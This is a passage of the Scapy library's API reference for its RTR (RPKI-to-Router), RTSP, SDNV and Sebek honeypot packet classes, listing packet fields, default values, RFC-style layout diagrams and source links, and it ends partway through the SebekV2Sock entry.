+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         SERIAL NUMBER                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        REFRESH INTERVAL                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         RETRY INTERVAL                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        EXPIRE INTERVAL                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. RTREndofDatav1                        


RTREndofDatav1 fields






	rtr_version

	ByteEnumField

	1



	pdu_type

	ByteEnumField

	7



	session_id

	ShortField

	0



	length

	IntField

	24



	serial_number

	IntField

	0



	refresh_interval

	IntField

	0



	retry_interval

	IntField

	0



	expire_interval

	IntField

	0















	
class scapy.contrib.rtr.RTRErrorReport(_pkt, /, *, rtr_version=0, pdu_type=10, error_code=0, length=None, length_of_encaps_PDU=None, erroneous_PDU=b'', length_of_error_text=None, error_text=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtr.py#L254-L280]

	Bases: Packet

Error Report packet from section 5.10
https://tools.ietf.org/html/rfc6810#section-5.10


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RTR VERSION  |    PDU TYPE   |           ERROR CODE          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             LENGTH                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      LENGTH OF ENCAPS PDU                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         ERRONEOUS PDU         |      LENGTH OF ERROR TEXT     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           ERROR TEXT          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. RTRErrorReport                        


RTRErrorReport fields






	rtr_version

	ByteEnumField

	0



	pdu_type

	ByteEnumField

	10



	error_code

	ShortEnumField

	0



	length

	IntField

	None



	length_of_encaps_PDU

	FieldLenField

	None



	erroneous_PDU

	StrLenField

	b''



	length_of_error_text

	FieldLenField

	None



	error_text

	StrLenField

	b''











	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtr.py#L276-L280]

	








	
class scapy.contrib.rtr.RTRIPv4Prefix(_pkt, /, *, rtr_version=0, pdu_type=4, reserved=0, length=20, flags=0, shortest_length=0, longest_length=0, zeros=0, prefix='0.0.0.0', asn=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtr.py#L130-L151]

	Bases: Packet

IPv4 Prefix packet from section 5.6
https://tools.ietf.org/html/rfc6810#section-5.6


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RTR VERSION  |    PDU TYPE   |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             LENGTH                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     FLAGS     |SHORTEST LENGTH| LONGEST LENGTH|     ZEROS     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             PREFIX                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ASN                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. RTRIPv4Prefix                        


RTRIPv4Prefix fields






	rtr_version

	ByteEnumField

	0



	pdu_type

	ByteEnumField

	4



	reserved

	ShortField

	0



	length

	IntField

	20



	flags

	ByteField

	0



	shortest_length

	ByteField

	0



	longest_length

	ByteField

	0



	zeros

	ByteField

	0



	prefix

	IPField

	'0.0.0.0'



	asn

	IntField

	0











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtr.py#L150-L151]

	








	
class scapy.contrib.rtr.RTRIPv6Prefix(_pkt, /, *, rtr_version=0, pdu_type=6, reserved=0, length=32, flags=0, shortest_length=0, longest_length=0, zeros=0, prefix='::', asn=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtr.py#L154-L175]

	Bases: Packet

IPv6 Prefix packet from section 5.7
https://tools.ietf.org/html/rfc6810#section-5.7


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RTR VERSION  |    PDU TYPE   |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             LENGTH                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     FLAGS     |SHORTEST LENGTH| LONGEST LENGTH|     ZEROS     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             PREFIX                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ASN                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. RTRIPv6Prefix                        


RTRIPv6Prefix fields






	rtr_version

	ByteEnumField

	0



	pdu_type

	ByteEnumField

	6



	reserved

	ShortField

	0



	length

	IntField

	32



	flags

	ByteField

	0



	shortest_length

	ByteField

	0



	longest_length

	ByteField

	0



	zeros

	ByteField

	0



	prefix

	IP6Field

	'::'



	asn

	IntField

	0











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtr.py#L174-L175]

	








	
class scapy.contrib.rtr.RTRResetQuery(_pkt, /, *, rtr_version=0, pdu_type=2, reserved=0, length=8)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtr.py#L97-L109]

	Bases: Packet

Reset Query packet from section 5.4
https://tools.ietf.org/html/rfc6810#section-5.4


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RTR VERSION  |    PDU TYPE   |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             LENGTH                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. RTRResetQuery                        


RTRResetQuery fields






	rtr_version

	ByteEnumField

	0



	pdu_type

	ByteEnumField

	2



	reserved

	ShortField

	0



	length

	IntField

	8















	
class scapy.contrib.rtr.RTRRouterKey(_pkt, /, *, rtr_version=1, pdu_type=9, flags=0, zeros=0, length=None, subject_key_identifier=b'', asn=0, subject_PKI=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtr.py#L228-L251]

	Bases: Packet

Router Key packet from version 1 standard section 5.10
https://tools.ietf.org/html/rfc8210#section-5.10


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RTR VERSION  |    PDU TYPE   |     FLAGS     |     ZEROS     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             LENGTH                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     SUBJECT KEY IDENTIFIER                    |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ASN                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          SUBJECT PKI          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. RTRRouterKey                         


RTRRouterKey fields






	rtr_version

	ByteEnumField

	1



	pdu_type

	ByteEnumField

	9



	flags

	ByteField

	0



	zeros

	ByteField

	0



	length

	IntField

	None



	subject_key_identifier

	StrFixedLenField

	b''



	asn

	IntField

	0



	subject_PKI

	StrLenField

	b''











	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtr.py#L247-L251]

	








	
class scapy.contrib.rtr.RTRSerialNotify(_pkt, /, *, rtr_version=0, pdu_type=0, session_id=0, length=12, serial_number=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtr.py#L64-L78]

	Bases: Packet

Serial Notify packet from section 5.2
https://tools.ietf.org/html/rfc6810#section-5.2


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RTR VERSION  |    PDU TYPE   |           SESSION ID          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             LENGTH                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         SERIAL NUMBER                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. RTRSerialNotify                       


RTRSerialNotify fields






	rtr_version

	ByteEnumField

	0



	pdu_type

	ByteEnumField

	0



	session_id

	ShortField

	0



	length

	IntField

	12



	serial_number

	IntField

	0















	
class scapy.contrib.rtr.RTRSerialQuery(_pkt, /, *, rtr_version=0, pdu_type=1, session_id=0, length=12, serial_number=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtr.py#L81-L94]

	Bases: Packet

Serial Query packet from section 5.3
https://tools.ietf.org/html/rfc6810#section-5.3


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RTR VERSION  |    PDU TYPE   |           SESSION ID          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             LENGTH                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         SERIAL NUMBER                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. RTRSerialQuery                        


RTRSerialQuery fields






	rtr_version

	ByteEnumField

	0



	pdu_type

	ByteEnumField

	1



	session_id

	ShortField

	0



	length

	IntField

	12



	serial_number

	IntField

	0

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.rtsp

Real Time Streaming Protocol (RTSP)
RFC 2326


	
class scapy.contrib.rtsp.RTSP(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtsp.py#L138-L161]

	Bases: HTTP


	
aliastypes

	




	
clsreq[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtsp.py#L52-L90]

	alias of RTSPRequest






	
clsresp[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtsp.py#L93-L135]

	alias of RTSPResponse






	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtsp.py#L159-L161]

	




	
hdr = b'RTSP'

	




	
reqmethods = b'DESCRIBE|ANNOUNCE|GET_PARAMETER|OPTIONS|PAUSE|PLAY|RECORD|REDIRECT|SETUP|SET_PARAMETER|TEARDOWN'

	








	
class scapy.contrib.rtsp.RTSPRequest(_pkt, /, *, Method=b'DESCRIBE', Request_Uri=b'*', Version=b'RTSP/1.0', Accept=None, Accept_Encoding=None, Accept_Language=None, Authorization=None, From=None, If_Modified_Since=None, Range=None, Referer=None, User_Agent=None, Unknown_Headers=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtsp.py#L52-L90]

	Bases: _HTTPContent


	
aliastypes

	




	
do_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtsp.py#L72-L85]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             METHOD            |          REQUEST URI          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            VERSION            |             ACCEPT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        ACCEPT ENCODING        |        ACCEPT LANGUAGE        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         AUTHORIZATION         |              FROM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       IF MODIFIED SINCE       |             RANGE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            REFERER            |           USER AGENT          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        UNKNOWN HEADERS        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. RTSPRequest                         


RTSPRequest fields






	Method

	_HTTPHeaderField

	b'DESCRIBE'



	Request_Uri

	_HTTPHeaderField

	b'*'



	Version

	_HTTPHeaderField

	b'RTSP/1.0'



	Accept

	_HTTPHeaderField

	None



	Accept_Encoding

	_HTTPHeaderField

	None



	Accept_Language

	_HTTPHeaderField

	None



	Authorization

	_HTTPHeaderField

	None



	From

	_HTTPHeaderField

	None



	If_Modified_Since

	_HTTPHeaderField

	None



	Range

	_HTTPHeaderField

	None



	Referer

	_HTTPHeaderField

	None



	User_Agent

	_HTTPHeaderField

	None



	Unknown_Headers

	_HTTPHeaderField

	None











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtsp.py#L87-L90]

	








	
class scapy.contrib.rtsp.RTSPResponse(_pkt, /, *, Version=b'RTSP/1.1', Status_Code=b'200', Reason_Phrase=b'OK', Location=None, Proxy_Authenticate=None, Public=None, Retry_After=None, Server=None, Vary=None, WWW_Authenticate=None, Unknown_Headers=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtsp.py#L93-L135]

	Bases: _HTTPContent


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtsp.py#L113-L114]

	




	
do_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtsp.py#L116-L129]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            VERSION            |          STATUS CODE          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         REASON PHRASE         |            LOCATION           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       PROXY AUTHENTICATE      |             PUBLIC            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          RETRY AFTER          |             SERVER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              VARY             |        WWW AUTHENTICATE       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        UNKNOWN HEADERS        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. RTSPResponse                         


RTSPResponse fields






	Version

	_HTTPHeaderField

	b'RTSP/1.1'



	Status_Code

	_HTTPHeaderField

	b'200'



	Reason_Phrase

	_HTTPHeaderField

	b'OK'



	Location

	_HTTPHeaderField

	None



	Proxy_Authenticate

	_HTTPHeaderField

	None



	Public

	_HTTPHeaderField

	None



	Retry_After

	_HTTPHeaderField

	None



	Server

	_HTTPHeaderField

	None



	Vary

	_HTTPHeaderField

	None



	WWW_Authenticate

	_HTTPHeaderField

	None



	Unknown_Headers

	_HTTPHeaderField

	None











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtsp.py#L131-L135]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.sdnv


NOTICE
This software/technical data was produced for the U.S. Government
under Prime Contract No. NASA-03001 and JPL Contract No. 1295026
and is subject to FAR 52.227-14 (6/87) Rights in Data General,
and Article GP-51, Rights in Data  General, respectively.
This software is publicly released under MITRE case #12-3054

	
class scapy.contrib.sdnv.SDNV(maxValue=4294967295)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/sdnv.py#L30-L74]

	Bases: object


	
decode(ba, offset)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/sdnv.py#L59-L74]

	




	
encode(number)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/sdnv.py#L41-L57]

	




	
getMax()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/sdnv.py#L38-L39]

	




	
setMax(maxValue)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/sdnv.py#L35-L36]

	








	
class scapy.contrib.sdnv.SDNV2(name: str, default: Any, fmt: str = 'H')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/sdnv.py#L80-L89]

	Bases: Field

SDNV2 field


	
addfield(pkt, s, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/sdnv.py#L83-L84]

	




	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/sdnv.py#L86-L89]

	








	
class scapy.contrib.sdnv.SDNV2FieldLenField(name: str, default: Optional[Any], length_of: Optional[str] = None, fmt: str = 'H', count_of: Optional[str] = None, adjust: Callable[[Packet, int], int] = <function FieldLenField.<lambda>>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/sdnv.py#L92-L94]

	Bases: FieldLenField, SDNV2


	
addfield(pkt, s, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/sdnv.py#L93-L94]

	








	
class scapy.contrib.sdnv.SDNV2LenField(name: str, default: ~typing.Any | None, fmt: str = 'H', adjust: ~typing.Callable[[int], int] = <function LenField.<lambda>>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/sdnv.py#L97-L99]

	Bases: LenField, SDNV2


	
addfield(pkt, s, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/sdnv.py#L98-L99]

	








	
exception scapy.contrib.sdnv.SDNVValueError(maxValue)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/sdnv.py#L25-L27]

	Bases: Exception








            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.sebek

Sebek: kernel module for data collection on honeypots.


	
class scapy.contrib.sebek.SebekHead(_pkt, /, *, magic=13684944, version=1, type=0, counter=0, time_sec=0, time_usec=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/sebek.py#L23-L34]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             MAGIC                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            VERSION            |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            COUNTER                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            TIME SEC                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           TIME USEC                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. SebekHead                          


SebekHead fields






	magic

	XIntField

	13684944



	version

	ShortField

	1



	type

	ShortEnumField

	0



	counter

	IntField

	0



	time_sec

	IntField

	0



	time_usec

	IntField

	0











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/sebek.py#L33-L34]

	




	
payload_guess

	Possible sublayers:
SebekV1, SebekV2Sock, SebekV2, SebekV3Sock, SebekV3










	
class scapy.contrib.sebek.SebekV1(_pkt, /, *, pid=0, uid=0, fd=0, cmd=b'', data_length=None, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/sebek.py#L40-L53]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              UID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               FD                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              CMD                              |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          DATA LENGTH                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. SebekV1                           


SebekV1 fields






	pid

	IntField

	0



	uid

	IntField

	0



	fd

	IntField

	0



	cmd

	StrFixedLenField

	b''



	data_length

	FieldLenField

	None



	data

	StrLenField

	b''











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/sebek.py#L49-L53]

	








	
class scapy.contrib.sebek.SebekV2(_pkt, /, *, parent_pid=0, pid=0, uid=0, fd=0, inode=0, cmd=b'', data_length=None, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/sebek.py#L74-L79]

	Bases: SebekV3


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           PARENT PID                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              UID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               FD                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             INODE                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              CMD                              |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          DATA LENGTH                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. SebekV2                           


SebekV2 fields






	parent_pid

	IntField

	0



	pid

	IntField

	0



	uid

	IntField

	0



	fd

	IntField

	0



	inode

	IntField

	0



	cmd

	StrFixedLenField

	b''



	data_length

	FieldLenField

	None



	data

	StrLenField

	b''











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/sebek.py#L75-L79]

	








	
class scapy.contrib.sebek.SebekV2Sock(_pkt, /, *, parent_pid=0, pid=0, uid=0, fd=0, inode=0, cmd=b'', data_length=15, dip='127.0.0.1', dport=0, sip='127.0.0.1', sport=0, call=0, proto=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/sebek.py#L109-L114]

	Bases: SebekV3Sock


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           PARENT PID                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              UID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               FD                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             INODE                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              CMD                              |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          DATA LENGTH                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
